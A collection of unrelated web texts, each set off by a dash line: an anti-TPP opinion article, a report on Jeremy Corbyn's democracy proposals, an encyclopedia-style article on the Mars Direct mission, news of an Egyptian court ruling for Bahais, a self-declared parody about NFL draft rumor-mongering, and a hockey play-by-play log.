the EFF found “nothing” for users and innovators to support, but plenty to fear — “the ratcheting up of the copyright term across the Pacific rim, the punitive sanctions for [Digital Rights Management] circumvention, and the full frontal attack on hackers and journalists in the trade secrets provision, just to mention three.” However, while the leak confirmed EFF's “greatest fears,” it also strengthened the groups resolve to “kill this agreement for good once it reaches Congress.”  The far-left U.K. Guardian, which absurdly characterized conservative opposition to the scheme as centering on it not doing “enough for business,” highlighted another major problem that could harm whistleblowers and give greater powers to governments to stop embarrassing information going public. According the the British paper, the treaty purports to grant signatory governments the authority to curtail legal proceedings if the information that would be disclosed might be “detrimental to a party’s economic interests, international relations, or national defense or national security.” In other words, The Guardian reported, “if a trial would cause the information to spread.”  The paper also quoted Evan Greer, campaign director of an Internet activist group called “Fight for the Future,” who said the TPP's intellectual property regime “poses a grave threat to global freedom of expression and basic access to things like medicine and information.” “But the sad part is that no one should be surprised by this,” he added. “It should have been obvious to anyone observing the process, where appointed government bureaucrats and monopolistic companies were given more access to the text than elected officials and journalists, that this would be the result.” Another source quoted in the article, Michael Wessel, who reportedly served as a U.S. government advisor on portions of the TPP, added that the TPP does nothing for Americans and would threaten U.S. jobs.  A major concern among elements of the opposition surrounds intellectual property protections for Big Pharma, which critics say are far too generous and will threaten the ability of people worldwide to access affordable drugs far into the future. “Many harmful provisions still remain in the final chapter, bearing out the concerns of public health advocates,” wrote public health expert Dr. Deborah Gleeson with La Trobe Universtity, highlighting a number of provisions in the leaked text that she said were alarming. “The outcome of this suite of obligations will be delayed competition from follow-on generics and biosimilars — which means delayed access to affordable medicines, placing them out of reach altogether for many people in developing countries.”  “If the TPP countries [governments] ratify the deal, Big Pharma will have succeeded in cementing intellectual property standards that will stymie access to medicines for up to 800 million people in the short term, and more if additional countries sign up in future,” she added. “Furthermore, the TPP’s intellectual property chapter sets a new norm that is likely to become the template for future trade agreements: its implications are global as well as regional.... The governments of TPP countries have been complicit in a global health disaster of unimaginable proportions — a deal that will prevent untold numbers of people from obtaining medicines that those in many developed countries take for granted.”  Perhaps even more important than all of the criticism outlined above, however, is the full-blown frontal assault on American independence and self-government. John F. McManus, president of The John Birch Society, the constitutionalist group credited by the architect of the North American Union with killing the anti-sovereignty scheme (the parent organization of The New American), noted in a recent column that the TPP has been marketed as a “trade” agreement that would help the U.S. economy, protect the environment, and more. “But a close examination of what is known about this pact (no copies have been made available, other than what has leaked out) reveals that it is far more than a mere trade pact,” McManus said. “Instead, it should be viewed as the beginning of a process similar to the one employed to create the European Union.”  Despite the establishment media's careful efforts to conceal the facts, with each new leak of information, the TPP suffers another major blow. Whether the intellectual property segment will serve as the straw that breaks the camel's back remains to be seen. But if Americans hope to retain their rights and independence, it is crucial that they educate their elected representatives on the threat so that it can be quashed when the TPP is presented to Congress for approval.  Alex Newman is a correspondent for The New American, covering economics, education, politics, and more. Follow him on Twitter @ALEXNEWMAN_JOU. He can be reached at This email address is being protected from spambots. You need JavaScript enabled to view it..  Related articles:  WikiLeaks Offers $100k Bounty for Secret ObamaTrade TPP Scheme  The Pacific Trade Agreement is an Attack on Sovereignty  WTO Ruling Blasts U.S. Sovereignty; TPP Threatens More of Same  Obama-GOP “Trade” Scheme Includes “Unrestricted Immigration”  Leaked Obama “Trade” Pact Exposes Assault on Self-government  Leak of Secret Trade Doc Reveals Sovereignty-destroying Courts  Establishment GOP Plots to Empower Obama on “Progressive” Trade  Trans-Pacific Partnership To Facilitate U.S.-China Merger  GOP Leaders Plot Pseudo-Free-Trade Schemes With Obama  Activists Rally to Stop Obama’s “Free Trade” Schemes  The EU: Regionalization Trumps Sovereignty  Trans-Pacific Partnership (NAFTA on Steroids) Threatens Sovereignty  The “Free Trade” Agenda Threatens Our Rights  Members of Congress Call for TPP Transparency
-Jeremy Corbyn has today unveiled plans to “extend democracy in Britain” by overhauling the ways the UK constitution, economy and Labour Party work.  The Labour leader has hit out at the manner in which “decisions in Britain are overwhelmingly taken from the top down” and says he wants the country to work for “the millions, and not just the millionaires”.  As ballots begin to go out in the leadership contest today, Corbyn reveals how he wants to extend devolution through online democracy and opening up local referendums on the outsourcing of public services.  He also says that he wants to abolish the House of Lords and replace it with an elected second chamber, and start “citizens’ assemblies” to help shape political accountability. The plans also include a radical extension of trade union and workers’ rights, including mandatory collective bargaining for companies with 250 or more employees, requiring the election of employee representatives to executive remuneration committees and taking action to ensure women’s equality in the workplace.  But his vision also sees big changes to the way the Labour Party operates, by handing policy-making power to the women’s, BAME and youth conferences for the first time, creating a charter of rights for party members, and moving to “widen representation” on the NEC to reflect the huge increase in party membership.  “I am determined to democratise our country from the ground up, and give people a real say in their communities and workplaces,” Corbyn said. “We need to break open the closed circle of Westminster and Whitehall, and of the boardrooms too.  “Decisions in Britain are overwhelmingly taken from the top down. And that’s crucial to why our country is run in the interests of a privileged few.  “That has to change – so that the country works in the interests of the millions, and not just the millionaires.  “I believe in the wisdom of ordinary citizens. That’s why we are launching proposals to extend democracy in every part of public life: in national politics, communities, the economy and the workplace – and in our own party.  “Labour under my leadership will listen to ideas from the bottom up – and take radical action to transform and rebuild our country so that no one and no community is left behind. We need nothing less than a democratic revolution in our politics, communities and workplaces.”
-Mars Direct is a proposal for a human mission to Mars which purports to be both cost-effective and possible with current technology. It was originally detailed in a research paper by Martin Marietta engineers Robert Zubrin and David Baker in 1990, and later expanded upon in Zubrin's 1996 book The Case for Mars. It now serves as a staple of Zubrin's speaking engagements and general advocacy as head of the Mars Society, an organization devoted to the colonization of Mars.[1]  The Habitat Unit and the Earth Return Vehicle on Mars.  History [ edit ]  Space Exploration Initiative [ edit ]  On July 20, 1989, George H. W. Bush – then President of the United States – announced plans for what came to be known as the Space Exploration Initiative (SEI). In a speech on the steps of the National Air and Space Museum he described long-term plans which would culminate in a manned mission to the surface of Mars.[2]  By December 1990, a study to estimate the project's cost determined that long-term expenditure would total approximately 450 billion dollars spread over 20 to 30 years.[3] The "90 Day Study" as it came to be known, evoked a hostile Congressional reaction towards SEI given that it would have required the largest single government expenditure since World War II.[4] Within a year, all funding requests for SEI had been denied.  Dan Goldin became NASA Administrator on April 1, 1992, officially abandoning plans for near-term human exploration beyond Earth orbit with the shift towards a "faster, better, cheaper" strategy for robotic exploration.[5]  Development [ edit ]  While working at Martin Marietta designing interplanetary mission architectures, Robert Zubrin perceived a fundamental flaw in the SEI program. Zubrin came to understand that if NASA's plan was to fully utilize as many technologies as possible in support of sending the mission to Mars, it would become politically untenable. In his own words:  The exact opposite of the correct way to do engineering.[4]  Zubrin's alternative to this "Battlestar Galactica" mission strategy (dubbed so by its detractors for the large, nuclear powered spaceships that supposedly resembled the science-fiction spaceship of the same name) involved a longer surface stay, a faster flight-path in the form of a conjunction class mission, in situ resource utilization and craft launched directly from the surface of Earth to Mars as opposed to be being assembled in orbit or by a space-based drydock.[6] After receiving approval from management at Marietta, a 12-man team within the company began to work out the details of the mission. While they focused primarily on more traditional mission architectures, Zubrin began to collaborate with colleague David Baker's[7] extremely simple, stripped-down and robust strategy. Their goal to "use local resources, travel light, and live off the land" became the hallmark of Mars Direct.[4]  Mission scenario [ edit ]  First launch [ edit ]  The first flight of the Ares rocket (not to be confused with the similarly named rocket of the now defunct Constellation program) would take an unmanned Earth Return Vehicle to Mars after a 6-month cruise phase, with a supply of hydrogen, a chemical plant and a small nuclear reactor. Once there, a series of chemical reactions (the Sabatier reaction coupled with electrolysis) would be used to combine a small amount of hydrogen (8 tons) carried by the Earth Return Vehicle with the carbon dioxide of the Martian atmosphere to create up to 112 tonnes of methane and oxygen. This relatively simple chemical-engineering procedure was used regularly in the 19th and 20th centuries,[8] and would ensure that only 7% of the return propellant would need to be carried to the surface of Mars.  96 tonnes of methane and oxygen would be needed to send the Earth Return Vehicle on a trajectory back home at the conclusion of the surface stay; the rest would be available for Mars rovers. The process of generating fuel is expected to require approximately ten months to complete.  Second launch [ edit ]  Some 26 months after the Earth Return Vehicle is originally launched from Earth, a second vehicle, the Mars Habitat Unit, would be launched on a 6-month long low-energy transfer trajectory to Mars, and would carry a crew of four astronauts (the minimum number required so that the team can be split in two without leaving anyone alone). The Habitat Unit would not be launched until the automated factory aboard the ERV had signaled the successful production of chemicals required for operation on the planet and the return trip to Earth. During the trip, artificial gravity would be generated by tethering the Habitat Unit to the spent upper stage of the booster, and setting them rotating about a common axis. This rotation would produce a comfortable 1 g working environment for the astronauts, freeing them of the debilitating effects of long-term exposure to weightlessness.[4]  Landing and surface operations [ edit ]  Upon reaching Mars, the upper stage would be jettisoned, with the Habitat Unit aerobraking into Mars orbit before soft-landing in proximity to the Earth Return Vehicle. Precise landing would be supported by a radar beacon started by the first lander. Once on Mars, the crew would spend 18 months on the surface, carrying out a range of scientific research, aided by a small rover vehicle carried aboard their Mars Habitat Unit, and powered by the methane produced by the Earth Return Vehicle.  Return and follow-up missions [ edit ]  To return, the crew would use the Earth Return Vehicle, leaving the Mars Habitat Unit for the possible use of subsequent explorers. On the return trip to Earth, the propulsion stage of the Earth Return Vehicle would be used as a counterweight to generate artificial gravity for the trip back.  Follow-up missions would be dispatched at 2 year intervals to Mars to ensure that a redundant ERV would be on the surface at all times, waiting to be used by the next crewed mission or the current crew in an emergency. In such an emergency scenario, the crew would trek hundreds of kilometers to the other ERV in their long-range vehicle.  Components [ edit ]  The Mars Direct proposal includes a component for a Launch Vehicle "Ares", an Earth Return Vehicle (ERV) and a Mars Habitat Unit (MHU).  Launch Vehicle [ edit ]  The plan involves several launches making use of heavy-lift boosters of similar size to the Saturn V used for the Apollo missions, which would potentially be derived from Space Shuttle components. This proposed rocket is dubbed "Ares", which would use space shuttle Advanced Solid Rocket Boosters, a modified shuttle external tank, and a new Lox/LH2 third stage for the trans-Mars injection of the payload. Ares would put 121 tonnes into a 300 km circular orbit, and boost 47 tonnes toward Mars.[9]  Earth Return Vehicle [ edit ]  The Earth Return Vehicle is a two-stage vehicle. The upper stage comprises the living accommodation for the crew during their six-month return trip to Earth from Mars. The lower stage contains the vehicle's rocket engines and a small chemical production plant.  Mars Habitat Unit [ edit ]  The Mars Habitat Unit is a 2- or 3-deck vehicle providing a comprehensive living and working environment for a Mars crew. In addition to individual sleeping quarters which provide a degree of privacy for each of the crew and a place for personal effects, the Mars Habitat Unit includes a communal living area, a small galley, exercise area, and hygiene facilities with closed-cycle water purification. The lower deck of the Mars Habitat Unit provides the primary working space for the crew: small laboratory areas for carrying out geology and life science research; storage space for samples, airlocks for reaching the surface of Mars, and a suiting-up area where crew members prepare for surface operations. Protection from harmful radiation while in space and on the surface of Mars (e.g. from solar flares) would be provided by a dedicated "storm shelter" in the core of the vehicle.  The Mars Habitat Unit would also include a small pressurized rover that is stored in the lower deck area and assembled on the surface of Mars. Powered by a methane engine, it is designed to extend the range over which astronauts can explore the surface of Mars out to 320 km.  Since it was first proposed as a part of Mars Direct, the Mars Habitat Unit has been adopted by NASA as a part of their Mars Design Reference Mission, which uses two Mars Habitat Units – one of which flies to Mars unmanned, providing a dedicated laboratory facility on Mars, together with the capacity to carry a larger rover vehicle. The second Mars Habitat Unit flies to Mars with the crew, its interior given over completely to living and storage space.  To prove the viability of the Mars Habitat Unit, the Mars Society has implemented the Mars Analogue Research Station Program (MARS), which has established a number of prototype Mars Habitat Units around the world.  Reception [ edit ]  Baker pitched Mars Direct at the Marshall Spaceflight Center in April 1990,[10] where reception was very positive. The engineers flew around the country to present their plan, which generated significant interest. When their tour culminated in a demonstration at the National Space Society they received a standing ovation.[4] The plan gained rapid media attention shortly afterwards.  Resistance to the plan came from teams within NASA working on the Space Station and advanced propulsion concepts[citation needed]. The NASA administration rejected Mars Direct. Zubrin remained committed to the strategy, and after parting with David Baker attempted to convince the new NASA administration of Mars Direct's merits in 1992.[4]  After being granted a small research fund at Martin Marietta, Zubrin and his colleagues successfully demonstrated an in-situ propellant generator which achieved an efficiency of 94%.[4] No chemical engineers partook in the development of the demonstration hardware.[4] After showing the positive results to the Johnson Space Center, the NASA administration still held several reservations about the plan.[4]  In November 2003, Zubrin was invited to speak to the U.S. Senate committee on the future of space exploration.[4] Two months later the Bush administration announced the creation of the Constellation program, a manned spaceflight initiative with the goal of sending humans to the Moon by 2020. While a Mars mission was not specifically detailed, a plan to reach Mars based on utilizing the Orion spacecraft was tentatively developed for implementation in the 2030s. In 2009 the Obama administration began a review of the Constellation program, and after budgetary concerns the program was cancelled in 2010.[11]  There are a variety of psychological and sociological issues that could affect long-duration expeditionary space missions. Early human spaceflight missions to Mars are expected by some to have significant psycho-social problems to overcome, as well as provide considerable data for refining mission design, mission planning, and crew selection for future missions.[12]  Revisions [ edit ]  Since Mars Direct was initially conceived, it has undergone regular review and development by Zubrin himself, the Mars Society, NASA, Stanford University and others.  Mars Semi-Direct [ edit ]  Artist's rendering of Mars Semi-Direct/DRA 1.0: The Manned Habitat Unit is "docked" alongside a pre placed habitat that was sent ahead of the Earth Return Vehicle.  Zubrin and Weaver developed a modified version of Mars Direct, called Mars Semi-Direct, in response to some specific criticisms.[13] This mission consists of three spacecraft and includes a "Mars Ascent Vehicle" (MAV). The ERV remains in Mars orbit for the return journey, while the unmanned MAV lands and manufactures propellants for the ascent back up to Mars orbit. The Mars Semi-Direct architecture has been used as the basis of a number of studies, including the NASA Design Reference Missions.  When subjected to the same cost-analysis as the 90-day report, Mars Semi-Direct was predicted to cost 55 billion dollars over 10 years, capable of fitting into the existing NASA budget.  Mars Semi-Direct became the basis of the Design Reference Mission 1.0 of NASA, replacing the Space Exploration Initiative.  Design Reference Mission [ edit ]  The NASA model, referred to as the Design Reference Mission, on version 5.0 as of September 1, 2012, calls for a significant upgrade in hardware (at least three launches per mission, rather than two), and sends the ERV to Mars fully fueled, parking it in orbit above the planet for subsequent rendezvous with the MAV.  Mars Direct and SpaceX [ edit ]  With the potentially imminent advent of low-cost heavy lift capability, Zubrin has posited a dramatically lower cost manned Mars mission using hardware developed by space transport company SpaceX. In this simpler plan, a crew of two would be sent to Mars by a single Falcon Heavy launch, the Dragon spacecraft acting as their interplanetary cruise habitat. Additional living space for the journey would be enabled through the use of inflatable add-on modules if required. The problems associated with long-term weightlessness would be addressed in the same manner as the baseline Mars Direct plan, a tether between the Dragon habitat and the TMI (Trans-Mars Injection) stage acting to allow rotation of the craft.  The Dragon's heatshield characteristics could allow for a safe descent if landing rockets of sufficient power were made available. Research at NASA's Ames Research Center has demonstrated that a robotic Dragon would be capable of a fully propulsive landing on the Martian surface.[citation needed] On the surface, the crew would have at their disposal two Dragon spacecraft with inflatable modules as habitats, two ERVs, two Mars ascent vehicles and 8 tonnes of cargo.  Other Studies [ edit ]  The Mars Society and Stanford studies retain the original two-vehicle mission profile of Mars Direct, but increase the crew size to six.  Mars Society Australia developed their own four-person Mars Oz reference mission, based on Mars Semi-Direct. This study uses horizontally landing, bent biconic shaped modules, and relies on solar power and chemical propulsion throughout,[14] where Mars Direct and the DRMs used nuclear reactors for surface power and, in the case of the DRMs for propulsion as well. The Mars Oz reference mission also differs in assuming, based on space station experience, that spin gravity will not be required.  Mars Analogue Research Stations [ edit ]  The Mars Society has argued the viability of the Mars Habitat Unit concept through their Mars Analogue Research Station program. These are two or three decked vertical cylinders ~8 m in diameter and 8 m high. Mars Society Australia plans to build its own station based on the Mars Oz design.[15] The Mars Oz design features a horizontal cylinder 4.7 m in diameter and 18 m long, with a tapered nose. A second similar module will function as a garage and power and logistics module.  Mars Direct was featured on a Discovery Channel programs Mars: The Next Frontier in which issues were discussed surrounding NASA funding of the project, and on Mars Underground, where the plan is discussed more in-depth.  Alternatives [ edit ]  "Mars to Stay" proposals involve not returning the first immigrant/explorers immediately, or ever. It has been suggested the cost of sending a four or six person team could be one fifth to one tenth the cost of returning that same four or six person team. Depending on the precise approach taken, a quite complete lab could be sent and landed for less than the cost of sending back even 50 kilos of Martian rocks. Twenty or more persons could be sent for the cost of returning four.[16]  In fiction [ edit ]  See also [ edit ]  References [ edit ]  Further reading
-In recent years, Bahais were forced to choose Islam, Christianity or Judaism in the religious denomination slot in order to receive identification documents. Some of them went to court, arguing that they should be allowed to leave the ‘religion’ slot blank rather than choose a faith that is not theirs. The move elicited the fury of Muslim conservatives who dissimssed Bahais as heretics and opposed any attempt to recognize the Bahai faith in official documents. In Iran, Bahais face other aspects of persecution .  “We greatly welcome the decision. We are very pleased that this is the end of the legal battle,” Soha Abdelaty, Deputy Director of Egyptian Initiative for Personal Rights, told The Times.  After years of legal hurdles, Egypt’s High Administrative Court upheld a verdict granting the minority Bahai community the right to be themselves, at least when it comes to official documents.  Previously, several verdicts had been handed down in favor of Bahais, however, they were not implemented, which leaves many Bahais cautiously optimistic about today’s ruling. "What I hope is to see this verdict immediately implemented," Wafaa Hindy, a Bahai woman told The Times. "This verdict can mark the start of a new era, but we should not jump to conclusions until the verdict is enforced."  There is no official record of the number of Bahais in Egypt; however, they are estimated at 2000.  "There is no community in the world that faced the civil death we have been facing; our children cannot have birth certificates and we cannot have identification cards. We are fed up," Hindy said.  The Bahai faith emerged in Iran from the heart of Shiite Islam in the mid-19th century, founded by Bahaullah, whom adherents recognize as the most recent in a line of prophets, including Jesus and Muhammad. The world’s more than five million Baha’is believe in one God and the unity of all major religions. One of the remarkable tenets of their faith is the belief in continuous and progressive divine revelations. According to Bahais, humanity will still receive more prophets.  — Noha El-Hennawy in Cairo  Photo: The shrine of Bahaullah, founder of the Bahai faith in the Israeli city of Haifa, Credit: Bahai Media Bank/Nelson Ashberger
-Tis the season for draft rumors, so we're going to go ahead and push this awesome story by Ted back up to the top for everyone to read again, or read for the first time if you missed it last year. -Chris  A couple of weeks ago, SB Nation contributor Steven Godfrey wrote one of the best pieces I have ever read about any sporting topic, anywhere. It was about the college football bag man, the guy who delivers the under the table cash and benefits to top notch recruits at big time college football programs. No kidding, whether you're a college football fan or not, go read that article. Seriously, like right now, because it's some of the best writing you'll find anywhere on the Internet.  This will be the exact opposite of that. This piece explores the seedy underbelly of NFL rumor mongering, and how teams do everything they can to get a guy to drop into their lap on draft day.  And it's obviously a parody, as fictitious as skinny knees or thick tonsils.  _______________________________________  The Rumor Man excuses himself to make a call outside, on his "other phone," to finalize an anonymous rumor about a top ten draft pick. The player is rated No. 1 at his position and is expected to be long gone by the time his team selects. We're sitting in a popular restaurant near the stadium almost a week before Draft Day, talking about how to start rumors for potential draft picks.  "Nah, there's no way he'll be there when we go on the clock, but you still have to do it," he says. "It looks good. It's good for down the road. Same reason my wife watches Real Housewives of Atlanta. It's all bullshit, all made up. All of it. These scouts and GM's talk to each other. It's a waste of Internet bandwidth, but they're doing the same thing to our guys right now in [divisional rival's town]. Cost of business."  Technically, this conversation never happened, because I won't reveal this man's name, or even the town I visited. Accordingly, all the other conversations I had with different rumor men representing different NFL teams over a two-month span surrounding Draft Day didn't happen either.  Even when I asked for and received proof -- in this case a phone call conversation that became a tweet about a former SEC football player -- it's just rumors hitting the Internet. When things are done correctly, there's no proof more substantial than one man's tweet over another. That allows for plausible deniability, which is good enough for the coaches, general managers, coordinators, and scouts. And the man I officially didn't speak with was emphatic that no one really understands how often and how well it almost always works.  These men are fans who believe they're leveraging football success one skinny knee or short armed rumor at a time. I can't show you the medical records, and neither can anyone else. You might think you see the medical records -- a flash of a phrase like ''watery eyeballs", or "really chapped lips" -- but that's just a random tweet.  This is the arrangement in high-stakes NFL draft subterfuge, though of course not every player is anonymously criticized. Providing rumors and bogus arrest reports about players is not a scandal or a scheme, merely a function. And when you start listening to the rumors, you understand the function can never be stopped.  "Last week I got a call. We've got this offensive lineman we really want. And he's country strong. The [offensive line coach] calls me and tells me he's watching tape of this kid against [big time college team]. Says he never got owned by the d-lineman, not once. Now, how do you get a possible first round pick to drop into the middle of the second round? I just go dig out in my garage and find an old medical report from five years back when he had a frankel, braces on his teeth, a whole shit ton of mouth work to correct a set of snaggle teeth. I call a scout of mine and mention that [this players] braces will be permanent, and there's so much wiring in his goddamn mouth it will interfere with the calls into the quarterback. He's also a chronic masturbator that's developed calcium deposits in his elbow that will prevent him from bending his arms at more than a 24 degree angle."  "I don't view what I do as a crime, and I don't give a shit if someone else does, honestly."  This is how you become an NFL Draft rumor man.  "I think it took me seven years. I knew some guys. They knew some older guys. And before, I really didn't believe any of this happened. Then I start coming around different events, parties, tailgates, and I make some smart ass tweets. After a while one guy says, 'Oh hey, I know him. It's okay, he loves the [team], got a great imagination' and we start talking. I make a smart ass comment about a running back having a wide ass and affecting his center of gravity, and the next thing I know I was a part of it. I wanted to be."  Once properly vetted, your imagination usually buys you first or secondhand fictional information most coaches and GM's go apeshit over as the draft gets closer: player run-ins with Filipino tranny hookers, severe flatulence that could require a locker room fumigation, and most importantly: ridiculous, mysterious medical maladies that cause top players to sink like the Titanic come draft day.  From these general categories, narratives are developed and stories are created, but over time specific rumors are shaped by the rumor men. It's a somewhat fluid situation, at least over long amounts of time.  Regardless of the team, rumor men gravitate towards two centers of power: Twitter and the team message boards, the latter because of population, the former because of power. Regardless of where top-dollar rumor men might live, the Internet serves as the primary center of operations. After all, that's where the disinformation is.  Rumor men tend to operate in plain sight. And while there might be a kind of cabal of guys with particularly rich imaginations who direct operations at private meetings, there aren't dungeons and robes or some kind of "X-Files" syndicate in a smoky boardroom.  "No basement at Mom's house, although a couple guys have some pretty ridiculous-looking man caves. I mean, we're shooting the shit about college football players that have declared for the draft. That in and of itself isn't a crime. Sometimes we go to Caribou Coffee."  The rules of rumoring tend to follow your typical sleeper cell or drug-dealing outfit. Talk in person as much as possible, preferably in group settings. Don't use email. Never interact with the media directly and avoid the team's public relations department whenever possible.  And make shit up. Lots of shit.  "It's the craziest thing. We make up the craziest rumors, use 'em for a while, then toss 'em. The worst part was convincing my wife it wasn't the beginning of dementia or just general stupidity, because none of the stuff we would throw out there would make any sense to anyone. Except scouts and GM's. Then it's on the front page of [team hometown newspaper and website]. My wife just rolls her eyes and shakes her head in amazement."  Rumors are seasonal and used mostly around the height of draft season, when local rumor men need to communicate quickly with other scouts across the NFL. Later on they'll be used to communicate directly with coaches and GM's.  I can call up a guy in personnel and say, 'Hey man, we're hearing Jimmy Garoppolo is a better quarterback than Teddy Bridgewater. What do you think?'  "The first player is the comparative value and a decoy. Here, it's Jimmy Garoppolo. The rumor is that he's better than Teddy Bridgewater, the guy we really want. In this example, Garoppolo is okay, but no one REALLY thinks he's better than Bridgewater. I mean for the love of Jerry Fuckin' Burns just look at the tape. But put out just enough doubt and it starts to spread like wildfire, and the closer you get to the draft, we might as well be a league that's a forest fire waiting to happen, man."  "I don't know shit about football. I know even less about the human body, injuries, and physiology. But everyone believes me."  He leans in and looks me directly in the eye.  "Everyone."  There's a weird code of personal conduct for a rumor man. It's okay to throw out flashy rumors, but within the limits. Set up your ridiculous medical rumor, run with the one about a guy having trouble with authority, float something about the player flipping off a kid in a hospital. After all, you're passionate enough to be rumor mongering, so you might as well enjoy yourself.  But while drawing attention to your rumor is fine, attaching long lasting damage to the player because of the rumor is forbidden. It's a fine line to walk, but you don't want the rumor blowing up in your face.  "Look, at the end of the day we all want these kids to get drafted. And after the draft is over, the rumor men like to get together and laugh our asses off about which rumor was the best and did the most yet least collateral damage."  Extenuating factors to consider when putting together a plan:  What's the climate of the league?  Is this a medical rumor or coachability one? How fast will this rumor spread? Or is someone already starting another rumor about this player, meaning you're the competition?  Any criminal history? Could other rumors (money laundering, grand theft auto) be arranged if proposed rumor flops?  Who is the one person that can be trusted to take that rumor about the player and keep it in the public view for as long as possible by getting the most retweets and shares on social media?  Remember, your job as a rumor man isn't to hide the rumor. It's to hide the truth. At an event as passionate as the NFL draft, there's no real moral outrage when new rumors about players appear, especially if the player you started a rumor about ends up getting drafted by your team.  This system and the men operating it want you to know that they don't succeed so often and raise the stakes so fearlessly because they're that good. It's because so many people care so much. There might not be a cultural mandate, but describing the buildup to the draft as a culture accepting of this behavior would be a raging understatement.  If you believe any of this happens with the frequency and level of organization described, you might assume that such practices surely couldn't go entirely unnoticed, that surely someone not involved in a conspiracy to spread the most ridiculous things about college-aged athletes would expose the plot. It's happened before, after all.  "It happens, yeah, but now we start to ask, ‘Who would do that?' You try your damnedest to say as much shit about as many people for a long as you can. Look at how much everyone cares about these stupid rumors. Think about how much of a pariah any one of us would become if we spoke out, especially with no real evidence about any of the rumors we start."  And with that, the cell phone rings. The rumor man takes it. It's another rumor man, wanting to float a trial balloon.
-Travis Hamonic credited with hit on Jussi Jokinen in defensive zone  Shot on goal by Kyle Okposo saved by Roberto Luongo(Wristshot 36 ft)  Shot missed by Shane Prince, Wide of Net(Backhand 20 ft)  Calvin de Haan credited with hit on Shawn Thornton in defensive zone  Johnny Boychuk credited with hit on Michael Matheson in defensive zone  Johnny Boychuk credited with hit on Reilly Smith in defensive zone  Shot on goal by Calvin de Haan saved by Roberto Luongo(Snap 30 ft)  Matt Martin credited with hit on Dmitry Kulikov in offensive zone  Steve Bernier credited with hit on Dmitry Kulikov in offensive zone  Shot missed by Frans Nielsen, Wide of Net(Snap 25 ft)  Shot on goal by Josh Bailey saved by Roberto Luongo(Wristshot 12 ft)  Shot missed by Matt Martin, Wide of Net(Snap 40 ft)  Shot on goal by Kyle Okposo saved by Roberto Luongo(Wristshot 30 ft)  Shot missed by Travis Hamonic, Wide of Net(Wristshot 58 ft)  Travis Hamonic credited with hit on Vincent Trocheck in defensive zone  Travis Hamonic credited with hit on Dmitry Kulikov in defensive zone  Shot on goal by Calvin de Haan saved by Roberto Luongo(Wristshot 63 ft)  Shot missed by Alan Quine, Wide of Net(Tip-In 17 ft)  Kyle Okposo credited with hit on Dmitry Kulikov in offensive zone  Matt Martin credited with hit on Shawn Thornton in defensive zone  Matt Martin credited with hit on Garrett Wilson in neutral zone  Steve Bernier credited with hit on Shawn Thornton in neutral zone  Shot on goal by Frans Nielsen saved by Roberto Luongo(Wristshot 31 ft)  Shot missed by Frans Nielsen, Wide of Net(Backhand 15 ft)  Shot missed by Marek Zidlicky, Wide of Net(Slapshot 61 ft)  Shot missed by Casey Cizikas, Wide of Net(Wristshot 15 ft)  Casey Cizikas credited with hit on Erik Gudbranson in offensive zone  Shot on goal by Frans Nielsen saved by Roberto Luongo(Wristshot 17 ft)  Johnny Boychuk credited with hit on Aleksander Barkov in defensive zone  Travis Hamonic credited with hit on Reilly Smith in defensive zone  Shot missed by Johnny Boychuk, Wide of Net(Slapshot 74 ft)  Shot missed by Kyle Okposo, Wide of Net(Snap 52 ft)  Casey Cizikas credited with hit on Logan Shaw in offensive zone  Shot on goal by Thomas Hickey saved by Roberto Luongo(Snap 52 ft)  Shot missed by Travis Hamonic, Wide of Net(Snap 33 ft)  Shot on goal by Shane Prince saved by Roberto Luongo(Backhand 26 ft)  Shot on goal by Casey Cizikas saved by Roberto Luongo(Snap 45 ft)  Johnny Boychuk credited with hit on Jaromir Jagr in offensive zone  Shot on goal by Kyle Okposo saved by Roberto Luongo(Wristshot 17 ft)  Shot missed by Travis Hamonic, Wide of Net(Snap 57 ft)  Thomas Hickey credited with hit on Garrett Wilson in defensive zone  Cal Clutterbuck credited with hit on Shawn Thornton in offensive zone  Shot on goal by Steve Bernier saved by Roberto Luongo(Snap 35 ft)  Shot on goal by Kyle Okposo saved by Roberto Luongo(Snap 41 ft)  Casey Cizikas credited with hit on Logan Shaw in neutral zone  Shot on goal by Kyle Okposo saved by Roberto Luongo(Snap 38 ft)  Alan Quine credited with hit on Aleksander Barkov in defensive zone  Calvin de Haan credited with hit on Jaromir Jagr in defensive zone  Nikolay Kulemin credited with hit on Alexander Petrovic in defensive zone  Shot on goal by Casey Cizikas saved by Roberto Luongo(Snap 119 ft)  Travis Hamonic credited with hit on Garrett Wilson in neutral zone  Alan Quine credited with hit on Erik Gudbranson in offensive zone  Steve Bernier credited with hit on Alexander Petrovic in offensive zone  Alan Quine credited with hit on Erik Gudbranson in defensive zone  Casey Cizikas credited with hit on Dmitry Kulikov in neutral zone  Nick Leddy credited with hit on Logan Shaw in defensive zone  Travis Hamonic credited with hit on Logan Shaw in defensive zone  Shot on goal by Calvin de Haan saved by Roberto Luongo(Snap 38 ft)  Shot on goal by Frans Nielsen saved by Roberto Luongo(Wristshot 12 ft)  Shot missed by John Tavares, Wide of Net(Snap 36 ft)  Shot missed by Casey Cizikas, Wide of Net(Snap 57 ft)  Shot missed by Johnny Boychuk, Wide of Net(Slapshot 63 ft)  Steve Bernier credited with hit on Brian Campbell in offensive zone  Shot on goal by Cal Clutterbuck saved by Roberto Luongo(Snap 17 ft)  Shot on goal by Nick Leddy saved by Roberto Luongo(Slapshot 60 ft)  Nick Leddy credited with hit on Reilly Smith in neutral zone  Shot on goal by Cal Clutterbuck saved by Roberto Luongo(Backhand 18 ft)  Steve Bernier credited with hit on Jussi Jokinen in neutral zone  Shot on goal by Kyle Okposo saved by Roberto Luongo(Snap 37 ft)  Shot on goal by Kyle Okposo saved by Roberto Luongo(Snap 51 ft)  Shot on goal by Travis Hamonic saved by Roberto Luongo(Snap 53 ft)  Matt Martin credited with hit on Brian Campbell in offensive zone  Johnny Boychuk credited with hit on Garrett Wilson in defensive zone  Shot on goal by Johnny Boychuk saved by Roberto Luongo(Slapshot 55 ft)  Casey Cizikas credited with hit on Brian Campbell in offensive zone  Shot on goal by John Tavares saved by Roberto Luongo(Slapshot 51 ft)  Shot on goal by Brock Nelson saved by Roberto Luongo(Backhand 12 ft)  Shot on goal by Brock Nelson saved by Roberto Luongo(Wristshot 9 ft)  Shot on goal by Nikolay Kulemin saved by Roberto Luongo(Wristshot 33 ft)  Shot missed by Calvin de Haan, Wide of Net(Slapshot 61 ft)  Shot on goal by Nikolay Kulemin saved by Roberto Luongo(Backhand 10 ft)  Casey Cizikas credited with hit on Brian Campbell in offensive zone  Shot on goal by Nikolay Kulemin saved by Roberto Luongo(Wristshot 9 ft)  Shot on goal by Steve Bernier saved by Roberto 